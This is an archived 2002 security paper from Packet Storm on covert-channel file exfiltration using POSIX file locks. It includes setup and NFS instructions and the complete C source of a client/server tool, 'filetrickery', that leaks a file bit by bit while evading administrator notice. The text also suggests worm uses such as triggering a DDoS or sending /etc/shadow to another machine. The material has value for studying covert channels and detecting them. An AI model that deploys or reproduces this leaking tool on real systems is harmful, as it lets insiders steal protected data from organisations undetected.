exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

steg1.txt

steg1.txt
Posted Sep 21, 2002
Authored by STE Jones | Site networkpenetration.com

Stenographied File Transfer Using Posix File Locks - How to transfer information to other users on secure systems by communicating with locked files. Includes some sample code that uses 32 locked files to transfer data on Posix systems.

tags | paper
SHA-256 | 946de361a7741cef70570cb8e2a840356929f865101a429898f20fd3d294b852

steg1.txt

Change Mirror Download
www.networkpenetration.com
Ste Jones root@networkpenetration.com

Stenographied file transfer using posix file locks
--------------------------------------------------
Source code available from www.networkpenetration.com

Introduction
------------
Every computer system is insecure! Why? because by using any system resources that are available to each process
information can be leaked. Say for example you can detect CPU usage remotely (possible by measuring
the time taken for a ping reply for example). If the CPU is under a heavy load say 100% utilization the packet
will take longer to be processed and return a reply than if the CPU has a light load of say 10%. By being able
to detecting the difference would allow a 1 and a 0 to be leaked from the system (any one wishing to implement this
have a look at Ackerman’s function). The likelihood of the CPU usage being monitored for stenography use is low,
but it is a viable covert channel for leaking information.

There is no way every possible convert channel can be blocked even in high level military MLS (Multilevel security)
systems such as SCOMP (Secure Communications Processor), Pump (developed by the US Naval Research Laboratory), and
Purple Penelope (A NT workstation MLS wrapper from the British Defense Evaluation and Research Agency). A system
can be highly tightened to stop information been leaked but a covert channel will always exist.

Other examples of covert channels are pictures (e.g. bitmaps, gif's and picts), packet headers (e.g. ACK tunneling),
hard disk access times, process ID's, bus cycles, last access time on files, network protocols, temporarily denial of
servicing a host (jolt2 anyone?), there are numerous others including file locks - the topic of this paper.

How it works
------------
A file lock is used to ensure that only one process is allowed access to a file at a time. File locks are
essential in concurrent systems where multiple processes / threads may be accessing the same file. Say for
example process-A is reading a file, and the process is context switched (i.e. process-A is switched with
process-B to give the illusion of running multiple programs at the same time (concurrent)), process-B then
starts and writes to the same file process-A was reading. When process-A starts running again the contents of
the file will have changed thus the result of process-A will probably be incorrect. File locks are used so that
only one process can access a file at any one time, thus solving the problem of multiple processes accessing
the same file.

By allowing only one process access to a file and denying all other processes a covert channel can be created.
A 1 can be represented when a file is locked, whereas a 0 can be represented by the file not being locked.
If a 1 or 0 can be detected, information can be leaked. On a busy multi-user system there will multiple file
locks at anyone time so there is hardy any chance that the administrator would be monitoring patterns in file
locks for information being leaked thus a covert channel.


Setup conditions
----------------
34 files are used to signal between the client and server. The first 2 files are used for synchronization
and the other 32 are used to represent 32 bits (4 bytes). The server leaks the required file by splitting it
into sets of 32 bits and then sets a posix file lock on the corresponding files. By having a client process
detect the posix file locks, information can be leaked. Why a posix file lock? Because it works over NFS
without any changing any code. Whats posix? do your research

The files used have to have certain access rights. All the files(except for 2nd file) the server has to have read
and write access and the client read access. The 2nd file however requires the client to have read write access
and the server read access. The first two files are used for synchronization, the first one is used to indicate
the server has locked the required files and the client should read. The second file is used to indicate
the client has read the file locks and the server should rewrite the file locks.

For example: -rw-r--r--

The owner of the files acting as the server should have the above permissions on all of the 33 required files.
The second file should be owned by the client and have the same permissions as above.
The file being leaked just needs read access available to the server.

You may think to yourself why not just flick the read flag on the file you wish to leak and copy the file
the normal way, well you could do but that is obvious and covert channels are aimed at being undetectable /
untraceable. File copying is not the only thing you could do with file locking, a worm could utilize
file locking as one method of communication between each of its entities. Each file could represent a different
command, say for example if /tmp/hitme.txt is locked launch a DDoS attack, or send a copy of /etc/shadow to
a specific machine.

Once the files have the correct rights and both parties (the leaker / obtainer) know which files and in
what order (The order is crucial, as each file represents a different bit) the program can be run.

On a local machine the issue the following commands:
The server:
./filetrickery -s getme.txt sync1 sync2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
28 29 30 31 32

On the client side:
./filetrickert -c gotit.txt sync1 sync2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
28 29 30 31 32

The files can be called anything and it is probably not a good idea to call them sync1 sync2 1 2 3 4... etc as
it may look obvious. Once both the client and server have started, the file locks are set and read repeatedly until
the whole file is transmitted.

How to set it up over NFS
-------------------------
The source code has been tested over NFS between two Mandrake 8.0 machines and worked successfully.

The same setup conditions as above apply but to get it working over NFS the following is also required;
If you know how to setup NFS you can skip over most of this section.

On both machines edit the /etc/exports and enter
/tmp 192.168.*.*(rw)

This allows all the machines on the 192.168 network have access to /tmp. Insecure but you get the idea

On machineA enter the following
mount machineB:/tmp /dump

On machineB enter
mount machineA:/tmp /dump

where /tmp is the directory to be exported by the server and /dump being the local mount point. So both
machines require a /dump directory and makes sure that both machines have entries in /etc/hosts for the
relevant machines

The server then issues the command
./filetrickery -s getme.txt /tmp/sync1 /dump/sync2 /tmp/1 /tmp/2 /tmp/3 /tmp/4 /tmp/5 /tmp/6 /tmp/7 /tmp/8
/tmp/9 /tmp/10 /tmp11 /tmp/12 /tmp/13 /tmp/14 /tmp/15 /tmp/16 /tmp/17 /tmp/18 /tmp/19 /tmp/20/ tmp/21 /tmp/22
/tmp/23 /tmp/24 /tmp/25 /tmp/26 /tmp/27 /tmp/28 /tmp/29 /tmp/30 /tmp/31 /tmp/32

and on the client side the command is
./filetrickery -c gotit.txt /dump/sync1 /tmp/sync2 /dump/1 /dump/2 /dump/3 /dump/4 /dump/5 /dump/6 /dump/7
/dump/8 /dump/9 /dump/10 /dump/11 /dump/12 /dump/13 /dump/14 /dump/15 /dump/16 /dump/17 /dump/18 /dump/19
/dump/20 /dump/21 /dump/22 /dump/23 /dump/24 /dump/25 /dump/26 /dump/27 /dump/28 /dump/29 /dump/30 /dump/31
/dump/32

Once the file has finsihed copying unmount the directory and remove the line out of the /etc/exports file.


Conclusion
----------
Monitoring / combating this sort of attack pretty hard to do. A packet log would show that the client tried to
access certain files and that some locks succeeded while others failed. This could be interpreted as a bit
stream after some serious analysis but it would take some time.

NFS could be blocked but the principle of using file locks as a covert channel is still the same. In concurrent
systems there is no way of combating this sort of attack as file locks are essential to protect the machines
integrity. There are numerous ways to increase the complexity of the attack including adding fake locks to add
noise to the attack. Also when the client detects what files have been locked, the order in which it checks the
files could be randomized.





//filetrickery.c
//www.networkpenetration.com
//File Trickery - Stenoghrapied file copy using posix file locks.
//Ste Jones root@networkpenetration.com
//
//compile: gcc filetrickery.c -Wall -o filetrickery
//
//Tested on Linux Mandrake 8.0
//Tested over NFS between two mandrake 8 machines
//
//To Do
//-----
//1. spoof args
//2. remove trailing 0's by sending size at start of transfer
//3. randomize order
//4. add spoofed locks


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <fcntl.h>
#include <curses.h>
#include <time.h>

#define VER "0.91"

#define TIMEOUT 3 //after timeout save and close the obtained file
#define INITTIMEOUT 30 //time for client to wait for server to start
#define SLEEP 1 //used to lower CPU usage
#define VERBOSE 1//0: less info displayed, 1: loads of info displayed, 2: debug mode

static struct flock lockit, unlockit, wrlockit;
int makefile(void);
void how2use(char *progname);
void server(void);
void client(void);
int openfile(void);
int filesize(void);
void displaybits(char );
struct fname{
char *files;
};

struct files {
char *sync1;
char *sync2;
struct fname fn[32];
};

char *sfile;
char *cfile;

struct files f[1]; //ugh why does 0 not work?
int main(int argc, char *argv[])
{
int c;

sfile = NULL;
cfile = NULL;

lockit.l_type = F_RDLCK;
lockit.l_whence = SEEK_SET;
lockit.l_start = 0;
lockit.l_len = 0;

unlockit.l_type = F_UNLCK;
unlockit.l_whence = SEEK_SET;
unlockit.l_start = 0;
unlockit.l_len = 0;

wrlockit.l_type = F_WRLCK;
wrlockit.l_whence = SEEK_SET;
wrlockit.l_start = 0;
wrlockit.l_len = 0;

printf("\nFile Trickery " VER " from www.networkpenetration.com\n");
printf("--------------------------------------------------\n");
opterr = 0;

while ((c = getopt(argc, argv, "c:s:")) != -1){
switch(c){
case 'c': cfile = optarg;
break;

case 's': sfile = optarg;
break;

default: how2use(argv[0]);
break;
}
}
if (sfile && cfile) {
printf("Select either (c)lient or (s)erver from the command line\n");
exit(1);
}

if(argc != 37){
how2use(argv[0]);
exit(1);
}

f->sync1 = argv[3];
f->sync2 = argv[4];
c = 0;
for(c=0; c<32; c++){
f->fn[c].files = argv[c+5];
}
if (cfile) {
printf("starting client\n");
client();
exit(1);
}

if (sfile) {
printf("starting server\n");
server();
exit(1);
}

exit(1);
}

//(set values, flagA1, check flagB1, set values, flagA0, check flagB0)....
void server(void)
{
unsigned char buf[0];
FILE *fd;
register int bytecount, bitcount, lockcount, filecount, p,q;
int lockfd[32];
size_t count;
int syncfd1;
register int syncfd2;
struct flock test;
register int lock;
int fsize;


fsize = filesize();
printf("Leaking: %s Size: %d bytes\n", sfile, fsize);

fd = fopen(sfile, "r");
if (!fd){
printf("Doh.... %s can't be opened\n", sfile);
exit(1);
}
bytecount = 0;
memset(lockfd, '\0', sizeof(lockfd));
count = 1;
lock = 0; //alternate 0 1 for each pass to ensure sync

while (count !=0){
if(!lock) lock = 1; //lock starts on 1
else lock = 0;

filecount = 0;
lockcount = 0;

for(q=0; q<4 || count == 0; q++){
memset(buf, '\0', sizeof(buf));
count = fread(buf, 1, 1,fd);
if (count == 0) {
if(ferror(fd) !=0){
printf("File Error\n");
exit(0);
}
if(feof(fd) !=0){
count = 0;
break;
}
}

for(bitcount=1; bitcount<=128; bitcount=bitcount*2){
if (bitcount &buf[0]){
if(VERBOSE) printf("byte %d bit:%d 1 ",bytecount,bitcount);
if((lockfd[lockcount] = open(f->fn[filecount].files, O_WRONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->fn[filecount].files, strerror(errno));
exit(1);
}

if(fcntl(lockfd[lockcount], F_SETLK, &wrlockit) == -1){
printf("\nDoh.... Lock can't be set on %s as %s\n", f->fn[filecount].files, strerror(errno));
exit(1);
}
else {
if(VERBOSE) printf("locked file %s\n", f->fn[filecount].files);
}
lockcount++;
}
else {
if(VERBOSE) printf("byte %d bit:%d 0\n",bytecount,bitcount);
}
filecount++;
}
bytecount++;
}


if(lock) {
if((syncfd1 = open(f->sync1, O_WRONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->sync1, strerror(errno));
exit(1);
}
if(fcntl(syncfd1, F_SETLK, &wrlockit) == -1){
printf("\nDoh.... Lock can't be set on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}

else {
printf("locked %s.... waiting for client to read\n", f->sync1);
goto checkit;
}
}

if(!lock){
if(fcntl(syncfd1, F_SETLK, &unlockit) == -1){
printf("\nDoh.... Cant unlock %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
else {
printf("unlocked %s.... waiting for client to read\n", f->sync1);
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto checkit;
}
}

checkit:
if((syncfd2 = open(f->sync2, O_RDONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->sync2, strerror(errno));
exit(1);
}

test.l_type = F_RDLCK;
test.l_whence = SEEK_SET;
test.l_start = 0;
test.l_len = 0;

if(lock){
if(fcntl(syncfd2, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync2, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
//not locked
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno));
exit(1);
}
if(SLEEP) sleep(SLEEP);
goto checkit;
}

else {
//locked
if(VERBOSE) printf("%s is locked.... setting file locks\n",f->sync2);
if(VERBOSE == 2) printf("pid of owner: %d\n", test.l_pid);
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno));
exit(1);
}

goto next;
}
}// end of lock

if(!lock){
if(fcntl(syncfd2, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync2, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
printf("%s is not locked.... setting file locks\n", f->sync2);//continue
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n", f->sync2, strerror(errno));
exit(1);
}
goto next;
}
else {
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno));
exit(1);
}
if(SLEEP) sleep(SLEEP);
goto checkit;
//wait
}
}

next:
for(p=0; p<lockcount; p++){
if(fcntl(lockfd[p], F_UNLCK, &unlockit) == -1){
printf("Doh.... Can't unlock fd: %d as %s\n", p, strerror(errno));
exit(1);
}
else {
if(close(lockfd[p]) == -1){
printf("close error on lockfd[%d] as %s\n",p, strerror(errno));
exit(1);
}
}
}
if(VERBOSE == 2)printf("Unlocked all %d fd's\n", lockcount);
if(count == 0) {
break;
}
}


printf("Finished sending file\n");
if(fclose(fd) !=0 ){
printf("Fclose error on leaked file as %s\n", strerror(errno));
exit(1);
}
//send end of file
exit(1);
}


//(check flagA1, read val, set flagB1, check flagA0, read val, flagB0).... check flagA1, read val, set flagB1
void client(void)
{
FILE *fdout;
int syncfd2, syncfd1, flag, init;
//unsigned long filesize;
struct flock test;
register int lock, bytecount, byte, a, timea, timeb, fd, i, bit;
size_t count;
char fillme[4];


init = 0;
printf("Obtaining: %s\n", cfile);
if((fdout = fopen(cfile, "w")) == NULL){
printf("Doh.... %s can't be created as %s\n", cfile, strerror(errno));
exit(1);
}
printf("Waiting for server to start....\n");
bytecount = 0;
lock = 1;
timea = time(0);
goto check;

check:

test.l_type = F_RDLCK;
test.l_whence = SEEK_SET;
test.l_start = 0;
test.l_len = 0;
timeb = time(0);

if(SLEEP) sleep(SLEEP);
if(flag){
if(timeb > (timea + TIMEOUT)){
//close locks
printf("Time exceeded.... closed and saved %s\n", cfile);
fflush(fdout);
fclose(fdout);
//run remove 0's
exit(1);
}
}

if(!flag){
if(timeb > (timea+ INITTIMEOUT)){
printf("Doh.... Server start-up timed out\n");
fclose(fdout);
exit(1);
}
}

if(lock){
if((syncfd1 = open(f->sync1, O_RDONLY)) == -1) {
printf("\nO_WRONLY.... %s can't be opened as %s\n", f->sync1, strerror(errno));
exit(1);
}

if(fcntl(syncfd1, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync1, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
//not locked
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto check;
}

else {
//locked
printf("%s locked.... reading file locks\n", f->sync1);
if(VERBOSE == 2) printf("pid of owner: %d\n", test.l_pid);
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto read;
}
}
if(!lock){
if((syncfd1 = open(f->sync1, O_RDONLY)) == -1) {
printf("\nO_WRONLY.... %s can't be opened as %s\n", f->sync1, strerror(errno));
exit(1);
}

if(fcntl(syncfd1, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
if(test.l_type == F_UNLCK){
//not locked
printf("%s not locked.... reading file locks\n",f->sync1);
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto read;
}
else {
//locked
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto check;
}
}

read:
bzero(fillme, sizeof(fillme));
flag = 1;
bit = 1;
byte = 0;
a = -1;
init++;
for(i=0; i<32; i++){
a++;
if(i == 0) {
byte = 0;
}
if(a > 7){
a = 0;
}

test.l_type = F_WRLCK;
test.l_whence = SEEK_SET;
test.l_start = 0;
test.l_len = 0;
if(VERBOSE) printf("byte %d bit %d = ", bytecount + byte, bit);

if((fd = open(f->fn[i].files, O_RDONLY)) == -1) {
printf("\nO_WRONLY Doh.... %s can't be opened\n", f->fn[i].files);
exit(1);
}

if(fcntl(fd, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->fn[i].files, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
//not locked
fillme[byte] |= (0 << a);
if(VERBOSE) printf("0\n");
if(close(fd) == -1){
printf("Doh.... close error on %s as %s\n", f->fn[i].files, strerror(errno));
exit(1);
}
}

else {
//locked
fillme[byte] |= (1 << a);
if(VERBOSE) printf("1\n");
if(close(fd) == -1){
printf("Doh.... close error on %s as %s\n", f->fn[i].files, strerror(errno));
exit(1);
}
}

bit = bit*2;
if(bit > 128){
bit = 1;
byte++;
}
}

bytecount = bytecount + 4;

if(VERBOSE == 2) displaybits(fillme[0]);
if(VERBOSE == 2) displaybits(fillme[1]);
if(VERBOSE == 2) displaybits(fillme[2]);
if(VERBOSE == 2) displaybits(fillme[3]);
count = fwrite(fillme, 4, 1, fdout);
if(count != 1){
printf("fwrite error\n");
exit(1);
}

goto lock;

lock:

if(lock){
//lock sync2
if((syncfd2 = open(f->sync2, O_WRONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->sync2, strerror(errno));
exit(1);
}
if(fcntl(syncfd2, F_SETLK, &wrlockit) == -1){
printf("\nDoh.... Lock can't be set on %s as %s\n", f->sync2, strerror(errno));
exit(1);
}

else {
printf("locked %s....\n",f->sync2);
timea = time(0);
lock = 0;
goto check;
}
}
if(!lock){
if(fcntl(syncfd2, F_SETLK, &unlockit) == -1){
printf("\nDoh.... Can;t unlock %s as %s\n", f->sync2, strerror(errno));
exit(1);
}
else {
printf("unlocked %s....\n", f->sync2);
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n", f->sync2, strerror(errno));
exit(1);
}
timea = time(0);
lock = 1;
goto check;
}
}
}

int makefile(void)
{
int filefd;
char prefix[8];

strncpy(prefix, "XXXXXXX", sizeof(prefix));
filefd = mkstemp(prefix);
if(filefd == -1){
if(errno == EINVAL) {
printf("Doh.... template broke\n");
return(-1);
}
if(errno == EEXIST) {
printf("Doh.... couldn't create unique temp file\n");
return(-1);
}
}
printf("%s created\n", prefix);
printf("FD = %d\n", filefd);
return(filefd);
}

void displaybits(char printme)
{
unsigned c, displayMask = 1 << 7;
printf("%c = ", printme);
for (c = 1; c <=8; c++){
putchar(printme & displayMask ? '1' : '0');
printme <<= 1;
}
putchar('\n');
}


int filesize(void)
{
FILE *fd;
int size, count;
char buf[0];
size = 0;
fd = fopen(sfile, "r");
if (!fd){
printf("Doh.... %s can't be opened\n", sfile);
exit(1);
}
for(;;){
count = fread(buf, 1, 1, fd);
if (count == 0) {
if(ferror(fd) !=0){
printf("File Error\n");
exit(0);
}
if(feof(fd) !=0){
goto end;
}
}
size++;
}
end:
if(fclose(fd) !=0 ){
printf("Fclose error on leaked file as %s\n", strerror(errno));
exit(1);
}
return(size);
}

void how2use(char *progname)
{
printf( "\nThe first two files are the sync files, the first one\n"\
"used be the server and the second by the client. The rights\n"\
"for all the files should be the server has read write access\n"\
"and the client read access. The second file however should\n"\
"have the opposite rights, the client should have read write\n"\
"access and the server have read access\n\n"\
"-s <file> Act as server\n"\
"-c <file> Act as client\n"\
"\n"\
"Usage:\n"\
" %s -s sendme.txt <file1> <file2>.... 34 files required\n"\
" %s -c gotit.txt <file1> <file2>.... 34 files same order as server\n", progname, progname);

exit(1);
}


Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close